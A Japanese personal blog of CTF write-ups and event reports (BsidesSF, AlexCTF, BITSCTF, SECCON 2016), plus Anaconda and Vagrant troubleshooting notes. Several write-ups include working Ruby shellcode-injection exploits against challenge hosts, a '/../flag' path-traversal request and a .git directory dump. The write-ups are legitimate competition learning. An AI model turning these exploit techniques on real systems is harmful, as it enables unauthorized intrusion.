読者です 読者をやめる 読者になる 読者になる

ブログの名前なんて適当で良いのでは

説明を求めるな、記事を読め

katagaitaiCTF勉強会#8 関東medに参加してきた(感想)

encry1024.hatenablog.com

ちょうど1年前ぐらいに初めてkatagaitaiCTF勉強会に行った時の感想があったので懐かしさを感じていた.この時が,初めてのkatagaitaiCTF勉強会で,これの1ヶ月前ぐらいに村人Bをがんばって解けたぐらいの力量で,そのため,なかなか厳しい感じでしたが当時の楽しかった気持ちも蘇ってきました.

今回は,二日間にわけて,Crypto, Hardware, Pwnというスケジュールで濃密な二日間でした.

1日目(午前Crypto, 午後Hardware)

初日は朝早くからガッツリ頭を使うCrypto.講義で扱われる問題のベースはナップザック暗号についてだった.burningCTFでもナップザック暗号の問題を解くことができなかったし,個人的にはすごい嬉しい議題だった.最初の問題はなんとか理解できたのですが,格子理論が混じったあたりからよくわからなくなったし,復習しようと思った.1問目はソルバを書けたので置いておく.(特にスライドと差はないけど)

[TokyoWesternsCTF2016] Backpacker's cihper (easy mode) [Crypto:200pts] — Bitbucket

昼飯をがっつりラーメン食ったら眠くなってしまい,少しうとうとしながらHardwareの講義が始まった.Hardwareというジャンル自体あまり見かけないし,絶対解かないので,内容自体新鮮で楽しかった.しかし,自分がHardware自体に弱く回路図に戻すとかあたりが厳しかったし,二問目はもうよくわからなくなった.正直な話とても大変そうで二問目は復習する気が起きないし,1問目はなぜかスライドどおりのコードを書いているはずなのだけれど,復号できないしでしんどくなって投げ出した.気合が足りない.

2日目(午前,午後 Pwn)

午前午後ともにPwnで非常にしんどいかと思われたが,午前はあまりしんどくなく,少し理解に時間かかったものの,なんとか講義中にシェルを取ることに成功した.個人的にはスライドがもう少し詳しくしても良かったのかなと思う.
午後は,予めわかっていたWindowsのPwn.このフレーズからして楽しい香りがするし,実際楽しかった.前回行った時もそうだったが,なんというかbataさんの説明やテンポがとても自分には聞きやすく,たまに出る煽りでみんなの笑いも取るしで,とても楽しく学ぶことができた.ヒープベースのオフセットを求めるところでどこらへんまで主観を入れてオフセットを決めていいのかわからず0xNNNのNをいじっていたが,実際には0xNNNNまでいじらなくてはいけなかったみたい.そこで追いつけなくなって,exploitの作成や検証は諦めて聴講スタイルにシフトした.最後まで聞き終わるとめちゃくちゃ満足感があり,本当に来てよかったと感じた.Windows問題のPwnであったけれど,その点を除けばよくあるLinuxのPwnなので,bataさんの思考の流れなども垣間見ることができて,そういう点でも学びが深かった. 午前午後ともにスライドとなんら代わりはないが,完成することはできたので,一応writeupを書いておいた.

pwn.hatenadiary.jp

pwn.hatenadiary.jp

BsidesSF CTF 2017のwriteupと感想

BsidesSF CTF 2017にソロで参加してみた.残り2時間半のところで寝てしまったので,少し見てない問題がある(Pwnとか解けそうだったなぁ)のが悔やまれる.結果としては1075点の104位だった.正直な事を言うと100位以内には入りたかったので悔しかった.以下に解けた問題のwriteupです

Forensics

easycap (40pts)

pcapファイルが渡されるので,Follow TCP Streamをする.

FLAG:385b87afc8671dee07550290d16a8071

Misc

NOP (20pts)

NOPと同じことをする命令なのでxchg eax, eax

xchg eax, eax

Pwn

easyshell (30pts)

ソースコードが渡され,中を見るとmmapでRWXな領域を作ってそこをcallしているので,シェルコードを流すだけ.
ただし,alarmが短いので予めcat /home/ctf/flag.txtをコピーして置いて貼り付けて出力させた.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = 'easyshell-f7113918.ctf.bsidessf.net'
  port = 5252
end

PwnTube.open(host, port) do |t|
  # t.debug = true
  puts t.recv_until("\n")
  t.sendline(PwnLib.shellcode_x86)
  t.shell
end

FLAG:c832b461f8772b49f45e6c3906645adb

shortest (200pts)

5byte分の命令を実行してくれる上に,その命令にjmpする前に意図的に仕組まれたmov edx, 0xffなどがあり,予めシステムコールが呼びやすいレジスタ設定になるようにされている.そこで,eaxとebxの値をdecしてあげて,int 0x80を呼んで新たにreadを呼ぶ.その読み込み先は今実行している命令の先頭からなので,先頭に5byteパディングをつけてシェルコードを後続させる.先程と同様に予めコマンドをコピーしておいて貼り付けてFLAG出力.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = 'i-am-the-shortest-6d15ba72.ctf.bsidessf.net'
  port = 8890
end

PwnTube.open(host, port) do |t|
  t.debug = true
  addr = t.recv_until("\n").match(/is (.+)\n/)[1].to_i(16)
  puts t.recv_until("\n")
  puts "addr 0x%x" % addr
  payload = ""
  payload << p32(0xcd4b4848)
  payload << "\x80"
  t.send(payload)
  sleep(1)
  t.send("AAAAA" + PwnLib.shellcode_x86)
  t.shell #=> cat /home/ctf/flag.txt
end

FLAG:c9f053110aa0f2d28ed8978e3b03cb01

Reversing

Easy (10pts)

stringsとターミナルで打つ力が必要.

FLAG:db2f62a36a018bce28e46d976e3f9864

easyarm (100pts)

ARMのバイナリ問題.ぶっちゃけ取り組んだことがないので,楽しんで解けた.動的解析する環境すらないので,普通に静的解析をした(Hopperに投げた). そうするとおおよそ以下のCコードのような処理をしていると分かった.

#include <stdio.h>

int check(const char *string) {
  int i = 0;
  if(string[i + 6] == NULL) {
    return 0xc2;
  } else {
    if(string[i + 6] == 'R') {
      // 処理が続く
    }
  }
  return 0;
}

void error_exit() {
  puts("Sorry, that's not the right flag.");
  exit(1);
}

int main(int argc, char* argv[]) {
  
  if(argc != 2)
    error_exit();

  if(check(argv[1]) != 0)
    error_exit();
  
  puts("Congratulations, you have found the flag.");
  exit(0);
}

上記のコードより,入力文字列に対して,特定の添字でアクセスしてNULLかどうかの判断の後に,実際のASCII文字との比較を行っていることがわかったので,アセンブリadds r3, #0x6cmp r3, #0x52などを目印にしてaddsの引数を添字,cmpの引数を比較対象として文字を並べるとフラグが出てきた.

Flag:ARM_Is_Not_Scary

Pinlock (150pts)

いつもと同様にデコンパイルする.まずassets/pinlock.dbの中を見てみると4つのテーブルがあったが,実際v1とpinDBしか使われないことが他のソースを読むとわかる. pinDBには,d8531a519b3d4dfebece0259f90b466a23efc57bというsha1hashが格納されており,これの元は7498であった.おそらくpinだろうと思って入力してみると,実際にログインに成功した.
しかし,ログインしても普通の英語しか表示されず,これはDBv1の方の中の暗号化された文字列だと判明した.そこでDBv2の方がフラグだとうと推測して,これを戻すためにCryptoUtilitiesの必要なメソッドたちだけを引っこ抜いてきて,クラスを作り,以下のコードを実行するとフラグがでた.
コードの実行などの際にandoroidのBase64などを使っていたが,Java8から入っているらしいのでそれを使ったため,andoroid環境が無くても動くコードにした.Java8の環境なんて作っていないので,オンラインのJava8が実行できるprivateな環境を使って実行した.

class Solver
{
    public static void main(String[] args) throws Exception {
        String str = "7498";
        CryptoUtilities cr = new CryptoUtilities("v2", str);
        //System.out.print(cr.decrypt("hcsvUnln5jMdw3GeI4o/txB5vaEf1PFAnKQ3kPsRW2o5rR0a1JE54d0BLkzXPtqB"));
        System.out.print(cr.decrypt("Bi528nDlNBcX9BcCC+ZqGQo1Oz01+GOWSmvxRj7jg1g="));
    }
}

Flag:OnlyAsStrongAsWeakestLink

Skipper (75pts)

ホスト名やOSのバージョンなどの比較をシェル・コマンド使って行われてしまう.そこでそこらへんの比較処理が終えた後どうなっているのかを確認してみると,call 0x8048a63をしているとわかる.そこでgdbでそこにgoto 0x8048a63して飛んでcontinueをするとフラグがでてくる.

FLAG:f51579e9ca38ba87d71539a9992887ff

Skipper2 (200pts)

Skipperの強化番なので,愚直に飛ばすことはできないと踏んで,比較対象と同じになるような文字列を格納できるgdb scriptを作成した.x86だと文字列が長い時setコマンドが増えてしまうので,あえてx86_64のバイナリで解析を行った.
必要な箇所でこれを逐次実行していって正しい比較結果の分岐を勧めていく.比較が終わったらcontinueでFLAG出力.

def hostname
    set {long}0x7fffffffdb20 = 9088680153868427624
end

def osversion
    set {long}0x7fffffffdb20 = 54095888264754
end

def cpu
    set {long}0x7fffffffdb20 = 8387218128874261825
    set {int}0x7fffffffdb28 = 561145204
end

FLAG保存し忘れた

Web

easyauth (30pts)

ソースコードを見るとPOSTのときはいろいろ処理があるが,GETのときは大部分をすり抜けていくことがわかる.さらにすり抜けた先で,Cookieの値をパースして$usernameに入れる処理があり,その$usernameを後に文字列administratorと比較しているので,パースした時に$usernameにadministratorが入るようにCookieを設定してGETリクエストを送るとFLAGが出力される.

FLAG:0076ecde2daae415d7e5ccc7db909e7e

the-year-2000 (100pts)

なんとなく.gitディレクトリを調べてみるとforbiddenと表示される.怪しいので,更に調べてみる,.gitの中身を思い出してHEAD/.git/HEADを末尾につけてアクセスすると案の定ファイルの中身が出力されたので,この方針だと確定する.dvcs-ripperでサクッと全部の中身を抜いてきて確認していく.

git logで確認したcommitに戻してもフラグが見つからないので,git初心者の私は.gitディレクトリの中を探索していった.そしたら,.git/logs/HEADの中にlogにかかれていないcommitのハッシュ値があることに気づいた.そこで以下のハッシュ値を戻してみた.

git reset --hard 9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0

そうするとindex.htmlの末尾にFLAGがあった.

______________________
< Thanks for visiting! >
 ----------------------
         \   ^__^
          \  (oo)\_______
             (__)\       )\/\
                  ||----w |
                  ||     ||
</pre>
</marquee>
</body></html>
Your flag is... FLAG:what_is_HEAD_may_never_die

FLAG:what_is_HEAD_may_never_die

Zumbo 1 (20pts)

ソースコードを見ると,server.pyというファイルで動いていることがわかるので,それを見る.

#!/bin/sh
curl -s http://zumbo-8ac445b1.ctf.bsidessf.net/server.py | grep "FLAG"

FLAG: FIRST_FLAG_WASNT_HARD

Zumbo 2(100pts)

コードを見る限り,/<path:page>page/flagを設定すれば良いのでブラウザでやっていたが,うまくいかず生のHTTPリクエストを投げてみようと思い,BurpでHTTPリクエストのGETのところを以下のように書き換えてみたところちゃんとFLAGが出力された.

GET /../flag HTTP/1.1
Host: zumbo-8ac445b1.ctf.bsidessf.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

FLAG: RUNNER_ON_SECOND_BASE

AlexCTFのwriteupと感想

開始時間が早まっていたらしいが,私自身はその早まった時間しか見て無くてスタートダッシュを決めて始めてしまった.
チームとしては21位の2450ptsの全完で,うち640ptsを入れた.

Gifted(Rev:50pts)

stringsするとフラグが見える.

AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}

C++ is awesome(Rev:100pts)

C++バイナリで,L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A{FL4G}W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1tという文字列に対して,特定のメモリに格納された添字でアクセスしている処理が見えたので,それをまんま真似てみたらフラグが出た.

ALEXCTF{W3_L0v3_C_W1th_CL45535}

Catalyst system(Rev:150pts)

loading処理として乱数値でのsleepがあり邪魔なのでパッチをあてて潰す.その後バイナリを解析していくとUsernameとPasswordに対しての処理があることがわかる.Usernameは方程式を解く,Passwordは乱数値を引いた値が特定の値になるというチェックだった. UsernameとPasswordのチェックに関してz3使ってソルバを書いた.(この時は気づかなかったけどPasswordの方に関してはz3使う必要ないよなってことでusernameだけ示す.)

from z3 import *
from struct import pack

x = Int("x")
y = Int("y")
z = Int("z")

s = Solver()

s.add(x - y + z == 1550207830)
s.add(3 * x + y + 3 * z == 12465522610)
s.add(y * z == 3651346623716053780)

r = s.check()
if r == sat:
    m = s.model()
else:
    print r

username = ''
username += pack('L', m[x].as_long())
username += pack('L', m[y].as_long())
username += pack('L', m[z].as_long())

print username

正しいUsernameとPasswordでログインするとフラグが表示された.
ALEXCTF{1_t41d_y0u_y0u_ar3gr34treverser__s33}

Ultracoded(Crypto:50pts)

CTFお決まりのものがいろいろ混ざった問題.
ZEROとONEという単語が大量にあるファイルが配布されるので,まず数値の0,1に直す.その後,8bitずつに区切ってASCIIに戻す.その後Base64デコードすると,モールス信号がでてくるので,それを読み解くとフラグになる.(ただしOを_に変換する必要あり)

require 'base64'
# http://morsecode.scphillips.com/translator.html
p Base64.decode64(File.read("zero_one").scan(/......../).map{|x| x.to_i(2).chr}.join(""))

ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}

Mathbot(PPC:100pts)

ncでつなぐと0xdeadbeef + 0xdeadbeef =的なのが送られてくるので,オペランドとオペレータを引っこ抜いて計算するだけ.数回やるとフラグが降ってきた.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = '195.154.53.62'
port = 1337

PwnTube.open(host, port) do |t|

  i = 0
  t.debug = true
  while true
    puts "phase %d" % i
    t.recv_until(":\n")
    a = t.recv_until(" ").to_i
    op = t.recv_until(" ").chop
    b = t.recv_until(" ").to_i

    t.sendline((a + b).to_s)  if(op == '+')
    t.sendline((a - b).to_s)  if(op == '-')
    t.sendline((a * b).to_s)  if(op == '*')
    t.sendline((a / b).to_s)  if(op == '/')
    t.sendline((a % b).to_s)  if(op == '%')
    i += 1

  end
end

ALEXCTF{1_4M_l33t_b0t}

Cutie cat(PPC:150pts)

クソ問

$ steganography -d cat_with_secrets.png                                                                             ASLR: ON
ALEXCTF{CATS_HIDE_SECRETS_DONT_THEY}

SSL_0day(Trivia:20pts)

英語を読む能力
HeartBleed

CA(Trivia:20pts)

英語を読む能力
letsencrypt

感想

Rev350pts解きたかったなぁ

BITSCTF 2017のwriteupと感想

AlexCTFをやってて,存在に気づかず残り5時間の時に気づいて,チームの人に声をかけてからとき始めた.結果としてはチームで23位の470ptsで,そのうち70ptsを入れました. 感想をかけるほど何も思い入れがなかったので,解いた問題のwriteupを書きます.

Labour(Misc 20pts)

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<gpx version="1.1" creator="BITSCTF" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.topografix.com/GPX/1/1" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">

<!--Use appropriate brackets and underscores to separate words if you succeed-->
<wpt lat="23.71697" lon="89.45508">
<ele>12.1</ele>
<name>WP01-A</name>
</wpt>
<wpt lat="22.82885" lon="80.79786">
<name>WP02-B</name>
</wpt>
<wpt lat="39.88276" lon="58.81642">
<name>WP03-C</name>
</wpt>
<wpt lat="15.43674" lon="27.65039">
<name>WP04-D</name>
</wpt>
<wpt lat="12.69179" lon="17.50781">
<ele>288.7</ele>
<name>WP05-E</name>
</wpt>
<wpt lat="14.91081" lon="100.47656">
<ele>13.1</ele>
<name>WP06-F</name>
</wpt>
<wpt lat="45.9267" lon="2.21484">
<ele>557.9</ele>
<name>WP07-G</name>
</wpt>
<wpt lat="4.11852" lon="102.19922">
<ele>67.2</ele>
<name>WP08-H</name>
</wpt>
<wpt lat="34.85709" lon="65.84765">
<ele>3209.7</ele>
<name>WP09-I</name>
</wpt>
<wpt lat="28.89086" lon="68.30859">
<ele>116.9</ele>
<name>WP10-J</name>
</wpt>
<wpt lat="39.20502" lon="31.92187">
<ele>797.8</ele>
<name>WP11-K</name>
</wpt>
<wpt lat="47.24344" lon="19.8457">
<ele>93.5</ele>
<name>WP12-L</name>
</wpt>
<wpt lat="25.30828" lon="29.84765">
<ele>267</ele>
<name>WP13-M</name>
</wpt>
<wpt lat="18.97119" lon="-72.28521">
<ele>375</ele>
<name>WP14-N</name>
</wpt>
<wpt lat="-13.61609" lon="17.68359">
<ele>1510.9</ele>
<name>WP15-O</name>
</wpt>
<wpt lat="33.84122" lon="102.23438">
<ele>3426.2</ele>
<name>WP16-P</name>
</wpt>
<wpt lat="46.89624" lon="69.53907">
<ele>364.4</ele>
<name>WP17-Q</name>
</wpt>
</gpx>

上記のファイルを渡される.latとlonとあるので座標のことだと理解.しかしeleが知らなくてぐぐったりしていたが,ファイル名がDoSomethingWithThisなので,このファイルをどうにかすればいいんだろうなと思い,ぐぐるGoogle Map上にマッピングしてくれることに気づく.試しにマッピングしてみると,上記の点は順番に,

Bangladesh
India
Turkmenistan
Sudan
Chad
Thailand
France
Malaysia
Afghanistan
Pakistan
Turkey
Hungary
Egypt
Haiti
Angola
China
Kazakhstan

の都市を指していた.これを縦読みするとBITSCTFMAPTHEHACK,最後に,単語間に_や{}を入れてあげる.
BITSCTF{MAP_THE_HACK}

Command Line(Pwn 20pts)

あっちのブログに書くほどでもないので,こちらに書きます.
スタック上のアドレスを出力してくれる上に,ASLRがOFFと明記されているので,スタック上のアドレスを計算して,そこにシェルコードを配置して踏むだけ.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = 'bitsctf.bits-quark.org'
  port = 1330
end

PwnTube.open(host, port) do |t|
  stack = t.recv_until("\n").to_i(16)
  puts "stack 0x%x" % stack
  payload = "A" * 24
  payload << [stack + 32].pack("Q")
  payload << PwnLib.shellcode_x86_64
  t.sendline(payload)

  t.shell
end

BITSCTF{b451c_57r416h7_f0rw4rd_5h3llc0d1n6}

Random_Game(Pwn 30pts)

srand((unsigned)time(NULL))rand() & 0xfの乱数を数回当てるとフラグ出力するという問題.都合があって詳しくは書きませんが,ちゃんと乱数値を予測可能です.

BITSCTF{54m3_533d_54m3_53qu3nc3}

感想

疲れた

SECCON2016 Finalsに行ってきた(感想)

概要

2017年1月28~29日に行われたSECCON2016 Finalsにうさぎさん, レンジさん, じょにーさんとチーム「バイナリおいしい(Binary Oishi)」として参加してきました.大会自体はKing of the hill形式で初めてだったので,すごく楽しみにしていました.チームとしては340ptぐらい(正確な値を覚えていない)で,私は,Jeopardyのpwn(100pt)を通した.特に賞などはもらえなかったが,海外の強豪チームなどと同じフィールドで戦えたのはとても貴重だったし嬉しかった.この機会をくれた3人に感謝の気持ちを伝えたい.濃密な2日間だった. f:id:encry1024:20170130143446j:plain

1日目

会場について受付を済ませ,会場が開くのを待つ間,ダラダラといろんな人としゃべっていた.久しぶりに会えた人も居て楽しかった.SECCONのTシャツや首からかける名札,シールなどをもらった.
f:id:encry1024:20170130134835j:plain

会場が開いて,座席に座った.右には,日本のriroshi,もう一つ右には日本のinsecure,左には日本のelf,もう一つ左にはアメリカのPPP, 前にはポーランドのDragon Sector,斜め前には台湾のHITCONが居たりして感慨深かった. 11:00から開始予定だったのだが,ネットワークトラブル等で,開始時間が12:00からになったので,コンビニでお菓子や飯を買ってだらだら食っていた.
12:00になり競技が始まる.King of the hill形式とJeopardy形式の二つの種類があり,みんなと話し合ってせっかくならKing of the hillを楽しみたいよねという考えが一致し,1日目はJeopardyの問題をDLするだけで,一秒も見ること無くKing of the hill形式の問題を楽しんでいた.King of the hillの問題は全部で5問あり,3つ目の問題に取り組んだ,バイナリ自体が小さくすぐ読めたが,まったく方針が立たず時間だけが経過していく.適宜みんなの知見を共有しながら取り組んでいたが,結局1日目は0ptで終わった.
夜ご飯をみんなでくいながら,King of the hillの問題について話し合う,この時点からようやくJeopardyの方の話題が出始めるが,とりわけ本気でやっている感じではなかった.私自身も引き続き同じ問題を考えていた.家に帰っても同じ問題をやっていて,Jeopardyとはなんだったのかという感じだった.

2日目(~3日目)

朝起きる.0ptという現実に辛みを感じてJeopardyをやることを決意する.ここからJeopardyの戦いがはじまる.取り組んだのはPwn100のenquete(アンケート)という問題.ギリギリまで家でやり,進捗を出す. f:id:encry1024:20170130140603p:plain 競技が始まると,いろんなチームが持ち帰った宿題をやってきていて,妨害コンテンツである得点を入れた時になる声が鳴り止まなかった.しばらく経って,うさぎさんがKing of the hillのシェルコード問を通す.すごかった.King of the hillを楽しんでいてとても羨ましかった.その後しばらくたって私もpwn100をゴリ押し後から読むと意味不明exploitを作り上げ100ptを通す.その後またうさぎさんが100pt入れてくれて,最終的にはdefense keywordの書き込みによって40ptぐらい加算した340ptという終わりだった. f:id:encry1024:20170130143527j:plain
競技後は,表彰式,懇親会を楽しんだ.表彰式の制度というかその他もろもろに「?」となる点がいささかあったが言及はしないでおく.競技の結果自体は,1位が大韓民国のCyKor,2位も大韓民国のPwnPineappleApplePwn,3位は中華人民共和国のeeeだった.
懇親会では,いろんな人と話したり寿司,ローストビーフ,エビチリ,角煮,ビールと美味しいものを食べれて満足.インターン先でお世話になった人にも会うことができて,とっても嬉しかった.
その後,二次会に行く.ジントニックがおいしくて3杯も飲んだら流石に酔ってきた.よくわからず三次会の錦糸町でやるカラオケに参加.もう終電なんか乗れるはずがなかった.運営の2人を除いたら私しか日本人がいないというすごい状況で,まったく知らない洋楽を歌ったり,聞きまくったりして4:00ぐらいまで居た.強豪チームの人とBeatlesを一緒に歌ったりなんともすごい経験をした. 始発を待つしか帰る手段がなく,運営のお二人が一緒にお供してくれた.3人ともぐったりしていた.

反省点

やはり,Jeopardyを最初に取り組んでおくべきだった.うさぎさんが間に合わなかった問題や他の問題もちゃんと見れば普通にやるだけ問題だったし,この一点に尽きると思う.私自身はKing of the hillはできていないので,なおさらJeopardyを重視してやっておけばよかったという後悔が残った.

感謝

運営の方やスポンサーの方のおかげで,とても楽しい2日間を過ごせた.本当にありがとうございました.また,改めてチームメイトに感謝の気持ちを伝えたい. f:id:encry1024:20170130143312j:plain

Anacondaをfishで使うときにactivateができないときの対処法

$ fish -v
fish, version 2.4.0
$ conda -V
conda 4.3.8

source activate testをやってみると以下のようなエラーが出てしまった.

$ source activate test
source: Error encountered while sourcing file 'activate':

このエラーはどうやら,fish(friendly interactive shell)を使っていると起こるみたい.Anaconda側がこれの対処法を載せてるっぽいが,日本語記事では古い?のしかなかったので備忘録がてら残しておく.

$ cd (conda info --root)/bin
$ sudo curl -O https://raw.githubusercontent.com/conda/conda/master/shell/conda.fish
$ emacs ~/.config/fish/config.fish
source (conda info --root)/bin/conda.fishを追記

これで更新すると$ conda activate testという感じで使えるようになり,$ deactivateで抜けることができるようになる.

VagrantのGuest editionのアップデートが失敗した時の対処法

過去に2回ほどvagrantのエラーの対処法について書いてきたが,また突如それは起こった.もう本当に朝からしんどかった.

環境

今回起きたのは/vagrantやVagrantfileで記述した共有ディレクトリが共有できないという問題だった.詳しく原因を探っていくとGuest Edition絡みだとわかった.端的に言うなればguestとhostのバージョンが違うことが原因で起こっていた.そこで,vagrant plugin install vagrant-vbguestによってguest editionのアップデートなどを行ってくれるプラグインを導入する.その後vagrant upしてこれで解決と思いきや,以下のようなエラーが出てしまった.

[default] GuestAdditions versions on your host (5.0.28) and guest (5.0.20) do not match.
Reading package lists...
Building dependency tree...
Reading state information...
dkms is already the newest version (2.2.0.3-2ubuntu11.3).
linux-headers-4.8.0-32-generic is already the newest version (4.8.0-32.34~16.04.1).
0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.
Copy iso file /Applications/VirtualBox.app/Contents/MacOS/VBoxGuestAdditions.iso into the box /tmp/VBoxGuestAdditions.iso
mount: /dev/loop0 is write-protected, mounting read-only
Installing Virtualbox Guest Additions 5.0.28 - guest version is 5.0.20
Verifying archive integrity... All good.
Uncompressing VirtualBox 5.0.28 Guest Additions for Linux............
VirtualBox Guest Additions installer
Removing installed version 5.0.28 of VirtualBox Guest Additions...
Removing existing VirtualBox DKMS kernel modules ...done.
Removing existing VirtualBox non-DKMS kernel modules ...done.
update-initramfs: Generating /boot/initrd.img-4.4.0-59-generic
update-initramfs: Generating /boot/initrd.img-4.8.0-32-generic
Copying additional installer modules ...
Installing additional modules ...
Removing existing VirtualBox DKMS kernel modules ...done.
Removing existing VirtualBox non-DKMS kernel modules ...done.
Building the VirtualBox Guest Additions kernel modules
The headers for the current running kernel were not found. If the following
module compilation fails then this could be the reason.

Building the main Guest Additions module ...fail!
(Look at /var/log/vboxadd-install.log to find out what went wrong)
Doing non-kernel setup of the Guest Additions ...done.

どうやらGuest Additions moduleのbuildに失敗しているらしい・・・.このような事例でググるとかなり多くの情報が出てきた.(CentOSの内容が多かったけど)

これらに記載されているようなlinux-kernel-headersの更新などをいろいろやってみたが,まったくうまく行かなかった.
そこで思い切ってVirtualBox自体をアップデート(5.0.32に)した. その状態でもう一回,vagrant upすると,無事guest editionのバージョンがマッチして起動,共有することができた.上記のエラー対処の記事などではVirtualBox自体のアップデートをしたほうが良いという記述はおそらくどこにもなく,むしろVirtualBoxのアップデートは地雷みたいな雰囲気があったので,同じようなことで解決出来ない人がいたら思い切ってVirtualBoxをアップデートするということを試してみるのも良いかもしれない.